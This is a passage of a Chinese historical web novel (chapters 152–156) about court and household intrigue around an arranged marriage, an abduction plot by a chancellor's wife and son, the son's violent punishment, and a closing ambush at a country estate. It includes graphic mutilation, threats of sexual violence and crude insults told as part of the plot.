但,考虑到桑夫人离京十年,姜夜沉举荐徐慧珠协助。
姜夜沉的原话是,“徐念念是本将军的义妹,还是皇上亲封的凝心公主,所以,将军府的脸面,不能丢。皇上的体面,得保证给足。”
“若由将军府和相府共同出力这场婚宴,便可两全其美。”
钱相爷记仇,姜夜沉气晕他的夫人。
他为何不能以牙还牙,给徐慧珠难堪。
“皇上,臣亦觉得大将军此番提议甚好,只是……”
钱相爷说,“臣厚颜向您求一道恩典。”
“请皇上下旨,着内务府替将军府操办……”
“毕竟,徐夫人的身份,说到底是个妾。”
妾?
钱相爷说得够直白,无非是嘲讽徐慧珠的身份低贱,一个妾罢了,能代表将军府?能代表姜夜沉?
再说,让徐慧珠这个妾协助桑氏操办大婚,有辱皇上的尊面。
总之,徐慧珠不配。
殊不知,钱相爷这句话,捅了马蜂窝。
“敢问相爷,是轻视为妾者?”徐慧珠抛出问题。
一个,两个……
“我,是将军的妾。”
“相爷位高权重,便是轻视、漠视于我,我不敢分辨。”
“可,苗夫人呢?相爷也轻视?”
“厉贵妃呢?相爷也轻视?”
徐慧珠说完,轮到皇上和姜夜沉对视一眼,笑了。
站在皇上身后的李生德,险些没维持住日常表情。
钱相爷的脸色,已不能用难看形容。
他
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得罪天下为妾的女子不要紧,但天地良心,在他的心里眼里,苗安楠不是妾,是他想要生同衾亡同椁的妻。
他如何舍得轻视?
还有厉贵妃,是他血脉相连的妹妹不说,她是皇上的“妾”,谁敢轻视一分?
“皇上明鉴,臣绝无轻视贵妃娘娘之心之意。”
钱相爷的心,一点一点往下沉,他被姜夜沉和徐慧珠逼得步步后退,左一句“皇上明鉴”,右一句“皇上明鉴”。
可皇上看着热闹,拉着偏架,以一对三,钱相爷就是生长三头六臂,也得败。
……
宫外。
不等大福开口,钱无双便问,“念念姑娘出事了?”
大福转念想到夫人的交待,看向钱无双的眼神少了恭敬,添了审视,“有一队暗卫出没在徐府,掳走念念姑娘。”
“何人所为?何时发生的事?”钱无双问完,发现大福看他的目色更怪异。
“夫人说,掳走念念姑娘的人,或毁念念姑娘的清白,或要念念姑娘的命。”
“无双公子以为,凶手会是谁?”
钱无双的心停滞一瞬,“凶……凶手?”
是母亲?
还是本该在祖宅自省禁足的钱宝器?
这些事情,父亲可知晓?
其实,父亲知晓与否,都不重要。
父亲对母亲……
大福将钱无双带到一处院子,要是徐慧珠在场,会发现这处院子就在当初慕容左岸欲用强明温婉那处小院的隔壁。
钱宝器和慕容左岸,两个都是家族里的纨绔子弟,才能平庸,吃喝玩乐精通,富贵滋养出来的坏种。
这两个人是……邻居。
院子里很安静,好像人已入眠,却忘了灭烛火。
“无双公子该庆幸我家夫人的先见之明,夫人在皇上亲下赐婚旨意后,就安排了人暗中保护念念姑娘。”
“夫人说,不能奢望疯子会善良,更不要幻想恶人会良心发现。”
“夫人还说,终日防贼,也有防不住的时候。一旦防不住,失去清白尚可活,若失去的是性命呢?”
“夫人让我记得问无双公子一句,可认同?”
第152章:不可饶恕
钱无双站在小院外面,明明才初冬的风,吹的该是凉意,却冷入骨血。
“无双公子请进。”
“夫人说,如何处置,由无双公子说了算。”
“夫人还说,若无双公子不讲理的护短,那就凑巧了,她也护短,正好同无双公子比一比,谁能护得住。”
钱无双认得大福,是姜夜沉的心腹护卫,明面上的影子。
大福虽然张口“夫人说”,闭口“夫人还说”,可钱无双心里清楚,大福说的话,代表姜夜沉的意思。
大福说完,手一挥,带来的锦衣卫转瞬消失,不,是隐匿在暗处。
大福站在门口,当一回门神,意欲明显:今日小院发生的事情,他得一五一十禀报主子,谅他钱无双也没脸提出“请回避”的要求来。
钱无双推开房门,入眼瞧见坐着的徐念念,她看到他,目色复杂。
人未说话,已是泪流满面。
“念念姑娘,对……对不住。”
钱宝器被金夏捆成麻花,以不倒翁的怪异姿势躺在地上。
“阿兄,快快快,救我救我。”
钱宝器俨然已忘记,他刚刚像只狗一般摇尾乞怜,求徐念念放了他,他愿意出一万两银子,不,最后一路涨价到一百万两银子。
若不是钱无双来得及时,钱宝器怕是将整个相府卖了赎命。
赎他的贵命。
一条坏种的命,自以为尊贵无双,价值百万金银。
“阿兄,让人进来弄死徐念念那个**,不不不,只弄死便宜了她,把她扔到乞丐窝,让又脏又臭的乞丐活生生玷污到死。”
“对对对,这个主意妙极。哈哈哈哈……”
钱宝器眼瞎,没瞧见钱无双冷漠的脸。
他亦耳聋,没听见自家阿兄对徐念念说的那句“对不住”。
钱宝器笑声戛然而止,接着一声惨叫响起。
“啊……”
只见,站在徐念念身旁的女子如闪电冲到钱宝器的面前,手起刀落,削掉钱宝器的两片唇瓣。
“钱宝器,你才是世间至贱的**。”
金夏摇晃着手里的**,那**刚刚“行凶”完,沾染鲜血,更晃眼了。
“钱宝器,看来你把我的警告当作耳边风了,我说过,你敢再骂念念姑娘一句,这回,我削掉你嘴巴上的两片贱肉。”
“下回,就敲碎你的贱齿,让你一颗一颗吞入腹中。”
“再下回,我就割掉你的命根子,给你烤熟,撒点盐巴和辣椒面,喂你吃……”
钱宝器满嘴是血,满眼惊恐。
他怕了。
他平生遇见的女子,大多温柔娇弱,偶尔像徐念念这般不识抬举、敢使烈性的**,只要他出手“惩治”,折辱**的所谓傲骨,最后还不是跪在他的脚下,求他怜惜。
他从未见识过金夏这样的女子,她当真是女子吗?
“阿……阿兄?”
钱无双无动于衷,他的眼神落在钱宝器身上,只一瞬,就挪开。
钱无双走近了些,但徐念念控制不住身体颤抖,眼里尽是惧色。
她在害怕,怕他吗?
“无双公子?”
“念念姑娘,我在。”
听到钱无双的声音,再看看地上像只死狗的钱宝器,徐念念的恐惧消退了些。
“钱宝器已招认,是你母亲接他回来藏在这处院子,也是你母亲派暗卫掳走我。”
“你母亲说,相府不能欺君抗旨,那就以另一种方式坐实亲事。”
“大婚之前,新郎换了人,从无双公子变成钱宝器,但都是相府贵公子。”
“而且,错在我,是我不贞不洁,是我厚颜无耻,妄想同时勾引兄弟两人,好享受‘齐人之福’。”
“无双公子,可惜,你母亲失算了。”
钱宝器本就是个怂包,莫说揍他一顿,就是言语威胁几句,他蠢起来,连自个儿都出卖。
钱无双心中一阵酸涩,明明已麻木的心,再次被母亲伤害,仍会痛。
或许,他和母亲骨子里流着同样疯狂的血,两个疯子不能惺惺相惜,便只剩下无休无止的折磨。
母亲这么做的理由,就是为了掌控他。
他是她十月怀胎生育的儿子,是她倾尽心力培养的傀儡……她不允许自己失败,更无法接受棋局崩塌,棋子反噬。
“念念姑娘,对……对不住。”除了这句苍白无力的道歉,钱无双一时语塞,不知自己还能说什么,做什么。
“呵。”金夏冷笑出声,“无双公子轻飘飘说几声‘对不住’,就打算遮掩此事,然后
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当作什么都没有发生?”
“若是无双公子再说‘不管发生何事,哪怕念念姑娘失去清白,或身残,我仍愿娶念念姑娘为妻,婚事作数’。念念姑娘是不是该感激涕零?感动无双公子的不离不弃不嫌弃之大恩?”
“夫人说,恶人**害人,就是罪大恶极,不可饶恕。”
“夫人还说,若无双公子觉得嘴皮子道歉有用的话,她就奉行无双公子的话……回礼了。”
堂而皇之的威胁。
端看钱无双怎么做。
钱无双对得住他的姓名,智慧无双,容貌无双。
大福和金夏的话,毫不留情的威胁和嘲讽。
钱无双看向徐念念,目色平静,问道,“念念姑娘希望我如何做?”
“无双公子说的不对,不是我希望你如何做,而是你想怎么做,你又能如何做……”徐念念想杀了钱宝器和苗安楠,可,现实吗?
一个是无双公子的亲弟,另一个是无双公子的生母。
而她,是个外人罢了。
“是我不对。”
钱无双凄然一笑。
他想到上官西环,她狠狠甩了他一巴掌,然后翻身上马,撂下一句无情的话:钱无双,我上官西环此生与你不再相见。
那一夜,他回到相府,一屁股坐在院子里,呆坐到天明,然后服下摧毁自己的**。
钱无双拔下木簪,轻轻按一下,竟是一把**。
“宝器,你不该听母亲的话,回京。”
“我早就警告过你,念念姑娘是为兄的未婚妻,招惹她便是罔顾伦理道德,也是不将我当作你的阿兄。”
“宝器,你该明白,我派人送你回祖宅,终归是为了保护你。你仗着相府的势,在京城行恶,做下太多的恶事,你可有想过,有朝一日相府再也庇护不了你……”
钱无双已多年未曾一次性说过这么多的话,絮叨说个不停,像极了市井妇人。
在钱宝器迷惘的眼神下,钱无双手持**扎在钱宝器的命根上,硬生生割断。
命根本无用,但好歹还是身体的一部分,或许哪天治愈……总归,是有希望的。
可他本就微薄的希望被阿兄亲手斩杀。
“阿……阿兄……”
“啊啊啊啊......”
第153章:她是我认定的妻,您动一下试试
钱宝器的惨叫声,先是一声高过一声,渐渐力弱,最后趴在地上,犹如一滩散发臭味的烂肉。
“我会派人送他回祖宅自省,日后,他敢踏入京城一步,我会亲手挑断他的脚筋。”
“他再祸害无辜女子,我会亲手挑断他的手筋。”
“他再沾染人命,我会亲手杀了他。”
钱无双的眼里,杀意滋生,冷漠至极。
这样的无双公子,令徐念念感觉陌生。
苗安楠一出宫门,人就清醒。
她被姜夜沉气到晕厥为真,徐慧珠为她扎针,又服用汤药,说她半个时辰清醒,刚刚好半个时辰。
苗安楠来迟了。
倒也不算太迟,正好赶上听见钱无双说得那些狠话。
苗安楠本就身子虚弱,此刻更是眼前发黑,若不是钱相爷搀扶,她能栽倒在地。
兄弟相残……
她明明刻意教导,强弱有定,绝了内斗内争的可能。
怎么会?
“夫人?”钱相爷大概能猜到自家夫人又做了不太好的事,不知具体。
房门,撞开。
吓得徐念念猛地起身,撞到桌角,桌案上的茶水尽数倒在她胳膊上。
“啊……”徐念念痛的眼泪汪汪,柔弱可怜极了。
“念念姑娘?”钱无双和金夏同时出声,亦同时触碰到徐念念的胳膊。
“无双公子,我带念念姑娘去看大夫,念念姑娘肌肤细嫩,要是留下疤痕,会伤心的。”
金夏仿佛没瞧见站在门口满脸怒气,满眼阴郁的钱相爷和苗安楠。
他们是谁?
并不重要。
就当“空气”好了。
钱无双点头。
“父亲,母亲?”
钱无双对他们的到来,并不惊讶,“请父亲和母亲让一让,莫挡在门口,念念姑娘烫伤,急需看大夫。”
啪啪。
啪啪。
“钱无双,你……你这个孽子。”
苗安楠推开扶着她的钱相爷,疾步到钱无双的面前,伸手就是一通耳光。
钱无双不躲不避,任苗安楠打。
直到苗安楠手痛手酸,钱无双破了相,嘴角流出血丝。
“钱无双,你怎么能伤害一母同胞的亲弟?”
“你……杀了宝器?为了一个**?”
苗安楠口中骂的**,是徐念念。
“来人,杀了她。”
钱无双动了,他捉住苗安楠的手,“母亲,该打够了吧。”
“钱宝器对准嫂嫂不尊不敬,欲行玷污恶事,我身为兄长,自有教训之责。”
“我切断钱宝器的罪恶之源,往后,他再无犯错行恶的仪仗。”
“钱宝器受不住疼,昏死过去,仅此而已。”
“母亲一来,不问一句,也不查探一番,直接说我弑亲?”
“敢问母亲,是想要我的命?还是盼着钱宝器死?”
钱无双用了力气,苗安楠听见骨头碎裂的清脆,她手腕处的骨头,碎裂。
这是头一回,他向母亲动手。
从前,他反抗母亲之时,都以伤害自己的方式。
后来,他才想明白,他的母亲,根本不疼他不爱他不在意他。
也不疼不爱不在意钱宝器。
钱宝器瘫在地上,浑身是血,像极一具体肮脏的尸体。
她是他们的母亲,却不上前蹲下身看一眼,摸一下……
“还有,母亲,徐念念是我认定的妻,您动一下试试?”
啪啪。
啪啪。
这回扇钱无双耳光的是他的父亲——钱相爷。
“孽子,你敢威胁你母亲?”
钱相爷从未告诉任何人,他难以启齿的秘密,他对钱无双这个儿子存着隐秘的恨。
他嫉妒钱无双,也恨着钱无双。
苗安楠的依靠,只能是他。
钱无双,不配。
儿女都是债,钱相爷对讨债的人,生性深恶痛绝。
“父亲?”钱无双往前凑了近些,好方便钱相爷打得着,打得爽快。
父亲不喜他这个人,厌恶他这张脸,那就任凭父亲毁了去。
也好。
“无双?你……”
“儿子有错,父亲、母亲教训的是。”钱无双直接用衣袖擦拭嘴角的血,眼神麻木,语气凉薄。
“钱无双,我们是你至亲的人啊。”
钱相爷隐下眼里的别样情绪,他对钱无双这个儿子的感情很复杂,既欣赏又厌恶,既慈爱又淡漠,还有控制不住的嫉恨。
对,是恨。
在钱相爷的巴掌再次落下之时,徐念念拽着钱无双的胳膊,往后退了两步。
钱相爷的巴掌,落了空。
“
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念念姑娘?”
“无双公子?”徐念念的语气急切又埋怨,“无双公子若毁了绝世容颜,我会考虑退亲。”
“我忘了告诉无双公子,我是一个眼光肤浅的女子,嗜好美色。”
钱无双的眼里,终于生出鲜活的情绪。
徐念念护他,还故意说得轻松,贪恋他的容貌。
“小女子今日涨了见识,堂堂丞相大人,处事何等不公。”
“难道?”
徐念念顾不得胳膊上的烫伤,将火力对向钱相爷。
她的名声,不要也罢。
相府高门,进不去,她也没多少稀罕。
但,她心口处堵着的恶气,不宣泄出来,会憋出大病。
还有,她受的委屈,得讨回来。
慧珠姐姐说过:旁人害我一分,那就十倍报复回去。来而不往非礼也,回礼得重才不算失礼。
身为晚辈,在钱相爷这个长辈面前,失礼总归不体面。
徐念念顾不得体面。
“难道相爷日常处置公务,也是这般不公不正?以权压人?草菅人命?”徐念念的嘴,也浸了毒。
“放肆。”钱相爷吼道。
“怎么?我说到相爷的痛处,相爷便恼羞成怒?”
徐念念当面冷嘲热讽,脸上毫无惧色。
“钱宝器当街羞辱我,要抓我回相府,白日里当洗脚婢,夜里当暖床婢。”
“这天子脚下的京城,皇子都比不过钱宝器嚣张跋扈、作恶多端。”
“不知,相府后宅里,被圈禁,或被害死多少无辜女子?”
“相爷别说,你不知后宅事,若无相爷的纵容和庇护,钱宝器如何敢?”
“后来,无双公子和我定下亲事,我便是钱宝器的准嫂嫂。可钱宝器仍无休止地羞辱我,欲毁我清白,害我性命……”
“相爷敢说不知情?”
徐念念声声质问,不给钱相爷开口的机会。
再说,徐念念字字句句说的皆是事实真相,钱相爷不知内情,也知大概。
他是觉得钱宝器过分,但一想到钱宝器胡作非为是苗安楠授意,他便不觉得有什么大错。
“相爷不过问一句谁冤谁错,就打骂无双公子,相爷何意?是生来心偏?还是有旁的心思?”
钱相爷脸色大变,闪烁过一抹心虚……
第154章:食人血肉的至亲
“我不过外人,但有句大实话,说给相府诸位贵人听:无双公子何其倒霉,何其悲哀,生在相府,拥有你们这些食人血肉的至亲。”
徐念念一口气说完,身体禁不住往钱无双靠近了些。
她心里明白,莫说今日能否活着回家见娘亲,就算一时无恙,往后时光漫长,她入相府,等同于天雷滚滚的命劫,渡一回,剥一回皮,耗一条命。
她又不是猫,没有九条命啊。
“来人。”
“杀了她。”
“给我杀了徐念念这个**。”
苗安楠在亲眼看见徐念念和钱无双的眉眼官司后,心里压抑的愤怒喷涌而出。
凭什么?
钱无双是她亲手打造的“完美工具”,凭什么一个个都觊觎,想要占为己有?
不论是上官西环,还是徐念念,她们一个个付出过什么。
苗安楠更不能原谅的是,钱无双宁愿被旁的女子操控,也不愿听她的话。
她是谁?
她是外人吗?
苗安楠话音刚落,便有四名黑衣人出现在她的身后。
“我要她死。”
又逼向钱无双,威胁和杀意并存。
“钱无双,你只有这一次机会选择,是要护着这个**,和她在阴曹地府做一对死鸳鸯?还是回到至亲身边,继续当你的相府无双公子?”
“乖,在双亲的身边,前程似锦,不好吗?”
**啪……
这回是鼓掌的声音。
屋内的人,谁也没发现,姜夜沉和徐慧珠携手而来,在院子里赏了好一会儿戏。
“这是要……**灭口?”
“相爷和苗夫人打杀亲子,与本将军无关。但徐念念和金夏是将军府的人,哪得罪了两位贵人,要被灭口?”
“凑巧本将军在场,两位不如当本将军的面,刺死本将军的人?”
这?
徐念念一看到徐慧珠,三两步扑到徐慧珠的怀里,嚎啕大哭。
今日的遭遇,吓坏了她,心里的委屈和恐惧,在见到徐慧珠的一瞬,倾泻而出。
“念念莫怕。”
“谁敢当将军的面杀将军府的人?将军会让他后悔口出狂言。”
徐慧珠说话的时候,目光与苗安楠碰撞。
她的眼里,是毫不遮掩的挑衅。
“姜夜沉,你……你跟踪本相?”钱相爷刚起了个开头,苗安楠补话,“大将军听岔了,实在是事出有因。”
“大将军该听说,无双于多年前身中剧毒,最后虽解毒,但到底伤了身子,于男女情事无力。”
钱无双脸颊涨红,苗安楠亲手揭开他的伤疤,全然不顾他的心,有多痛。
“母亲?”他乞求道。
“闭嘴。”苗安楠冷冷训斥,威胁之意十足。
她的手里,还握着一张底牌,谅钱无双不敢同相府撕破脸。
不然,以钱无双的脾气,经历过上官西环的事情,他怎会留在相府?怎能顾念和钱宝器的兄弟情分?
钱无双妄想逃出她的手掌心,呵,痴心妄想。
“无双不愿隐瞒,将实情告知徐念念,哪成想,徐念念生出恶意,竟幽会宝器,蛊惑宝器借种生子,以嫁无双,享富贵。”
“事发之后,徐念念反咬一口,害得无双和宝器兄弟相残。”
“此等恶女,不配嫁入相府。万幸发现及时,不然,等恶女入府,必毁相府啊。”
“相爷,我有理由怀疑,徐念念是他人的细作。我们即可入宫,如实禀报,请皇上定夺。”
**啪……
姜夜沉鼓掌。
“早就听闻相爷宠爱的平妻是位女诸葛,今日着实令本将军大开眼界。”
“苗夫人狠起来,连亲子和夫君都坑。”
徐慧珠接话,“将军此言差矣。”
“将军将苗夫人比作‘诸葛’,是对诸葛神明的亵渎和羞辱。”
“我倒觉得以苗夫人的文采,要是给醉仙戏楼创作戏文,绝对场场爆满。”
“因为,谁能比得过苗夫人胡编故事呢?”
徐慧珠看向钱无双,她没看错,钱无双的身上**一团死气。
曾经的无双公子,今日如行尸走肉活着,了无生机。
“无双公子,你来说说,到底是怎么回事?”
姜夜沉和徐慧珠之所以默契闹到皇宫,也是为钱无双争取时间。
以钱无双的能力,早已查清楚真相,人证物证俱在。
“将军,徐夫人,是我对不住念念姑娘。”
“此事,我定会妥善处置。”
钱无双的脸破了相,却生出一种碎裂的美感。
“无双,你当真要背叛
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你母亲?”
苗安楠张口就敢编造故事,哪怕到最后一刻,她仍执意将一盆脏水泼在徐念念的身上。
自然,有所倚仗。
“请徐夫人送念念姑娘回府,她的胳膊烫伤,需尽快处理伤口。”
又说,“母亲,我给宝器服过保命药丸,但如您所见,宝器伤得严重,请母亲陪宝器回相府,让大夫看诊。”
“另外,明日一早,我会亲自送母亲和宝器回祖宅,然后请嫡母、大公子和大小姐回京。”
“父亲,可要一起?”
……
钱无双相求,姜夜沉给了面子。
姜夜沉送徐慧珠和徐念念回将军府,人送到后,他转身又入宫,又又又向皇上告状去。
将军府里。
母女重逢,抱头痛哭。
待哭够后,金秋金冬伺候徐念念净面梳妆,又添了茶水上了点心。
徐慧珠并未回避。
“慧珠,谢谢你,你又一次救了念念。”许金枝真心实意言谢,若失去爱女,她不知自己该如何活下去。
必定是活不下去的。
念念,就是她的命啊。
“婶婶,念念受的苦,有一半是为将军府受的。”
“不过,婶婶放心。念念是将军的义妹,是将军府的大小姐,还是皇上亲封的凝心县主,谁让念念受一分苦,将军便让那人受十分疼。”
徐念念的眼睛肿成桃子,她今日流的眼泪,比她往日十几年光景流下的眼泪还多。
金秋正为她的胳膊涂抹褐色药膏,安慰道,“念念姑娘安心,这生肌膏是夫人和普神医一同研制出来的灵丹妙药,保管不会让您留下疤痕。”
她知道生肌膏,小小一盒价值百两银子,就是公主、娘娘那些贵人也抠搜着用,金秋却不甚在意,给她的手臂上涂抹厚厚一层。还说,“念念姑娘,奴婢待会儿去药房再取五盒生肌膏,您记得早中晚涂抹伤口处,约一月后,肌肤便可恢复如初。”
“慧珠姐姐,你……你对我真好。”一开始,徐念念崇拜徐慧珠。
但,相处日长,徐念念觉得自己对徐慧珠的喜欢,媲美娘亲了。
徐慧珠提说正事,“念念,你当真要嫁给无双公子?”
“先不说相府是龙潭虎穴,就是无双公子,他那人……”
第155章:女子的年华,有几个十年
“慧珠姐姐,我的决定未变,我想嫁给无双公子。”
徐念念心里明白娘亲不满这门亲事,经过这些事情之后,如今徐慧珠也来劝说她。
她知道,她们都是为她好,生怕她受了委屈,担忧她过得不幸福。
若是旁人也就罢了,可那人是无双公子。
她愿嫁。
瞧着徐念念眼神坚定,徐慧珠不再多说,姻缘注定,她做不出**姻缘的恶事。
“好,我不再多余劝你。”
“念念,你且记住,你是将军的义妹,是将军府尊贵的大小姐,还是皇上亲封的凝心县主。”
“这些身份,是你的护身符。”
“将军府和皇上的势,可仗。”
“我会帮你,但你也要护得住自己。”
徐念念和许金枝在将军府住了两日,带着普神医回府。
京城,流言蜚语漫天飞。
相府的天,变了又变。
皇上连下三道旨意。
第一道旨意,册封相府大夫人桑氏——二品诰命温德夫人。
第二道旨意,由温德夫人和徐夫人共同操办无双公子和凝心县主的大婚事宜。
第三道旨意,褫夺苗安楠诰命,命她携苗宝器回祖宅修身养性,侍奉双亲。
相府大夫人桑氏?
京城贵人圈里,桑氏已销声匿迹十年,而女子的年华,有几个十年。
世人只知苗安楠,淡忘桑氏。
“老话说得好,人啊,三十年河东三十年河西。谁能想到桑氏十年前被苗安楠逼回祖宅,本以为桑氏和她一双儿女困顿于祖宅,再无回京的机会,万万没想到有朝一日竟翻身了,这倒是奇事一桩。”
“桑氏回京又如何?相爷的眼里心里容不下桑氏,自然也跟着瞧不见桑氏的儿女。回来,还不是受相爷的冷漠,不如祖宅过得舒心。”
“不知,这桑氏何时搭上了徐慧珠,才惹得大将军‘多管闲事’,向皇上进言,帮了桑氏大忙。”
“是啊是啊,如今的将军不一样了。听说,相爷大骂将军,说他手伸得太长,伸到别人家的后宅了。”
“能怪大将军吗?怪就怪徐慧珠,吃准了将军,净给大将军吹枕边风,不知羞耻的狐媚子。”
另一人甩了甩手里的锦帕,轻笑道,“徐慧珠给大将军吹枕边风,你瞧见了?吃的哪门子闲醋?”
“你也不想想,将军好是好,可将军给不了床笫之欢,这苦谁能受得住?活该徐慧珠受呗。”
眼见话题偏得没边没际,自有人不耐听她们说的话。
这世间的便宜岂是好占,她们既眼惹将军府的权势,又贪图姜夜沉这个人,却嫌弃姜夜沉不能人道。
人心,往往不足。
“听闻苗安楠欺君抗旨,皇上震怒,才不顾相爷求情,褫夺其诰命,将人撵回祖宅。”
“欺君抗旨?苗安楠到底做了什么,连相爷都保不住她?”
“呵!苗安楠也是好命,若不是相爷拼力维护,以苗安楠闯下的祸端,莫说人好端端回祖宅修身养性,怕是性命危矣。”
……
钱无双派人来禀,婚期如常,还送来两份厚礼,一份给将军府,一份给徐念念。
也不知,钱无双如何说通他的至亲们,金夏打探来的消息,苗安楠从主院搬出来,说是给桑氏腾地方。
丞相府大夫人回京,又得皇上亲封二品诰命——温德夫人,桑氏才是相府正经的女主人,按规矩,得住相府主院。
次日清晨,金夏催徐慧珠起早,说是去郊外赏雪。
初冬的第一场雪,景色再美,也抵不过欣赏苗安楠狼狈离京来得有趣。
独乐乐不如众乐乐,徐慧珠赏雪为真,看苗安楠的笑话,为徐念念出气,也是她的正事。
她顺道把姜夜沉薅起来,不带着靠山,还怎么放肆地演一出嚣张的大戏。
出行队伍遇上,将军府和相府是已定的姻亲,见面不问候几句,就显得太失礼了。
更何况,将军府的马车陷入泥坑,相府的主子遇上了,总不能假意眼瞎,然后见死不救?
这戏,让两人演得过分潦草。
“无双公子,这么凑巧,你也来郊外赏雪?”姜夜沉先开口。
他,明知故问,给人难堪。
钱无双顶
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着一张破相的脸,很明显,他昨夜忙至天明,没来得及处理自己的伤。
又或者,他根本不想处理伤口。
这张脸,他自己瞧着都厌恶。
那就顺道毁了去。
“见过大将军、徐夫人。”
“父亲奉旨送母亲回祖宅,接回嫡母和长兄长姐。长辈远行,无双为人子,自得相送。”
“风雪天气,路滑道远,无双告辞。”
钱无双是相府公子,虽身份尊贵,但并无官职。
遥想当年,钱无双文武双全,在军中一人身兼双职,既是将军,又是军师……
意气风发。
好不风光。
徐慧珠特意早起,借着赏雪的幌子,来瞧苗安楠的笑话。
可惜,钱相爷和苗安楠坐在第二辆马车里,从头到尾,帘子未曾露出一条缝隙。
她总不能无礼到冲过去,掀起帘子,瞧一眼苗安楠的狼狈,再嘲讽一通?
直到马车走远,徐慧珠长长叹息,“无双公子的手段……”
“钱无双身无软肋,他若执意拉着整个相府同归于尽,先怕的是旁人。”姜夜沉似乎很了解钱无双,看向马车离去的方向,目带暗色。
“怕了,就会妥协。”
谁怕?
当钱无双豁得出去,不就是一条命吗?不就是人的将来吗?他不再在乎任何事,不再在意任何人,苗安楠只得妥协。
当然,姜夜沉暗戳戳帮了钱无双一把,两人默契配合,同一方向使力。
姜夜沉说服皇上下旨,哪怕皇上落个插手朝臣后宅的名声。
钱无双安定相府,不管是说服,或动用旁的手段,送苗安楠回祖宅,还要阻止钱相爷入宫求情。
姜夜沉转头说起另一件事,“钱老太爷和老太君当年在京城生活,相爷一意孤行为苗安楠求来平妻名分,又在府里手段不断。”
“那些年,若不是桑氏聪慧,再加上钱老太爷和老太君处处维护,只怕桑氏和一双儿女的性命堪忧。”
“说是苗安楠逼走桑氏,其实也是桑氏为保全一双儿女顺势而为,抽身离开漩涡之地......”
第156章:**,回不去京城
“钱老太爷和老太君以命威胁,说只要他们活着一日,只认桑氏为儿媳。”
“如果相爷敢休妻,他们就敲响御天鼓,向皇上告御状,堂堂相爷为了宠妾灭妻为不义,逼死双亲为不孝。”
“过去十年,桑氏在祖宅尽心尽力侍奉双亲,教导儿女。”
“十年过去,双亲日渐年迈,桑氏的一双儿女也已成人。”
“他们总不能一直待在祖宅这一小方天地里,身为相府的嫡子嫡女,为钱老太爷和老太君的相护,为桑氏的隐忍,更为他们的前途……”
“他们得回京,回到相府,夺回原本属于他们的东西。”
徐慧珠抬眼看向相府马车离去的方向,此刻,天地之间,白茫茫的一片。
“将军,我以为你会帮无双公子。”
姜夜沉和钱无双表面上交情淡薄,但眼神骗不了人,徐慧珠大胆猜测,他们从前是朋友,或知己。
“钱无双有自知之明,他说过,不是他的东西,他不会沾染半分。”
“他是君子,却被所谓亲人伤害至深。他深陷泥泞里,心灰意冷,任自己脏污遍身。”
姜夜沉说道,“阿桑,我说得可对?”
话音落,一名包裹严实的黑衣人现身,“阿桑见过将军,问夫人安。”
阿桑取下黑巾,容貌与钱无双两三分相似。
“你是相府大公子——钱顷?”
阿顷点头,又重新戴上黑巾,“回禀夫人,我的另一层身份,是将军的暗卫副统领阿桑。”
原来如此。
难怪姜夜沉会为看似并无交集的桑氏讨回公道,只怕连相爷和苗安楠都以为,姜夜沉之所以不留情面撕咬,是受了徐慧珠的枕边风,更为将军府的脸面。
谁会想到姜夜沉的私心呢?
“阿桑,你速回祖宅,务必将苗安楠和钱宝器这一对母子留在祖宅,好让他们相爱相杀。”
腹黑如姜夜沉。
堂堂杀神将军,越发爱插手旁人的后宅了。
钱顷想到什么,目色一暗,告辞离去。
苗安楠绝不会善罢甘休,她定会蛊惑钱相爷,一不做二不休,就在钱老太爷和老太君的眼皮子底下弄死桑氏和嫡子嫡女,彻底断了他们回京的路。
**,回不去京城。
再说,有钱相爷心甘情愿帮她……
难得出城,徐慧珠不喜赏雪景,姜夜沉提议去凤凰山。
“罗叔说冬日的凤凰山,兔子养得肥美,运气好能猎到鹿和熊。还有鱼河里的鲤鱼,炖汤鲜香,烤肉香酥……”
姜夜沉是懂得如何诱惑她的味蕾,何况,她本就贪口腹之欲。
“为夫擅烧烤技艺,不知夫人可愿赏脸品鉴?”
人家都这么真诚了,大将军的面子,徐慧珠得给。
他们直奔鱼庄,住在先前的宅院。
罗叔命人打扫的干净,提前烧了炭盆,一进屋内,暖如春日。
姜夜沉带领大福他们去凤凰山打猎物,徐慧珠坐了一路马车,有些疲累,就留在宅院休息。
她是被鸡汤香醒的。
金夏端着一碗热气腾腾的鸡汤,“夫人醒了。”
“罗叔说将军上山前交待他,让厨娘炖着鸡汤,保证夫人小睡醒来就能喝到香喷喷的鸡汤。”
许久没喝,真真是馋了。
“金夏,去请罗叔来说话。”
“在让厨娘擀两案面条,待将军他们回来,一人先下一碗热乎乎的鸡汤面暖身暖胃。”
不一会儿,罗叔来了。
罗叔说了一些庄子发生的趣事,为徐慧珠解闷。
“成大顺一家去北疆修城墙,如何了?”徐慧珠随意问道。
罗叔笑容僵在脸上,“成大顺一家四十五口,在押送去北疆的路上,逃了。”
“消息前日传来,奴才不敢耽搁,已派人向将军禀报。”
成大顺不是善人,但手上没惹过人命,他热衷于繁衍后代,只看中儿子和孙子,才三代,已有四十五口人。
也是,他不过一个庄头,要养这么庞大的一家,谈何容易。
凤凰山是皇上的私产,成大顺身为庄头,极有可能接触一些势力。
只怕是,有人要利用成大顺生事。
“将军没说何时归?”
罗叔摇头。
天色渐暗,姜夜沉还没回来,徐慧珠心里的不安越发浓烈。
她叫
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来金夏,仔细交待一番。
随后,又派金夏去请罗叔,想要问一问鱼庄里的青壮男丁哪些会功夫。
金夏匆匆而来,“夫人,罗叔带人去凤凰山寻将军了。”
“庄子里的青壮年都带走了?”徐慧珠问道,“果真如此。”
金夏一愣,“是……”
“罗叔说,冬日的凤凰山,时有狼群出没,将军万一遇上狼群,恐怕很难脱身,万一伤到将军,该如何是好。”
金夏并未觉得有何不妥,罗叔是将军的人,担心将军安危实属常情。
徐慧珠又问,“罗叔走了多久。”
“半个时辰。”
徐慧珠喃喃道,“带走庄子里的青壮年,进山半个时辰,却没向我禀报一声。呵,罗叔是不敬我这个将军府夫人?还是……”
金夏吓了一跳,她本身不觉得异常,夫人这么一说,她再傻也反应过来,罗叔有异心,极可能对付的就是夫人。
“夫人,我们速度离开鱼庄为上策。”金夏说完,抓起桌案上的剑,正欲推开房门。
接着,听到一阵密集的响动。
“金夏,来不及了。”
“有人想趁将军不在,瓮中捉鳖。”
谁是鳖?
徐慧珠是。
直到这时,徐慧珠才确定,入了冬日,罗叔三番五次派人回将军府送野味和鱼,还留下话,凤凰山冬日可狩猎野兔、鹿熊,鱼河里的鱼肥美……
谁都知道,姜夜沉宠爱徐慧珠。罗叔更是亲眼见识姜夜沉为徐慧珠亲手杀兔烧烤。
